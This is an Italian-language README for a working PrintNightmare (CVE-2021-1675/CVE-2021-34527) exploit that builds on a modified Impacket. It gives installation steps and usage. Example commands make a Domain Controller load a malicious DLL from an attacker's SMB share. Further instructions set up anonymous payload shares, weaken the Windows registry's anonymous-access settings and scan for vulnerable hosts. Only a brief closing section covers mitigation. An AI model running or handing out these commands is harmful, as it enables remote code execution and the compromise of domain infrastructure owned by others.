CVE-2021-1675 / CVE-2021-34527

Implementazione Impacket del PoC PrintNightmare creato originariamente da Zhiniang Peng (@edwardzpeng) e Xuefeng Li (@lxf02942370)

Testato su un Domain Controller 2019 completamente aggiornato

Esegui DLL dannose in remoto o localmente

Aggiornamento della patch

Microsoft ha rilasciato una patch per mitigare questi attacchi, ma se i seguenti valori sono presenti su una macchina, la macchina sarà ancora vulnerabile

REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
    RestrictDriverInstallationToAdministrators    REG_DWORD    0x0
    NoWarningNoElevationOnInstall    REG_DWORD    0x1

Installazione

Prima di eseguire l'exploit devi installare la mia versione di Impacket e dopo sei a posto

pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

CVE-2021-1675.py

usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Esempio;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

Configurazione SMB

Il modo più semplice per ospitare payload è usare samba e modificare /etc/samba/smb.conf per consentire l'accesso anonimo

[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

[smb]
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes
    force user = smbuser

Da Windows è anche possibile

mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot

Scansione

Possiamo usare rpcdump.py di impacket per scansionare potenziali host vulnerabili; se restituisce un valore, potrebbe essere vulnerabile

rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol

Mitigazione

Disabilita il servizio Spooler

Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f

Più Popolari

PrintNightmare-CVE-2021-1675-CVE-2021-34527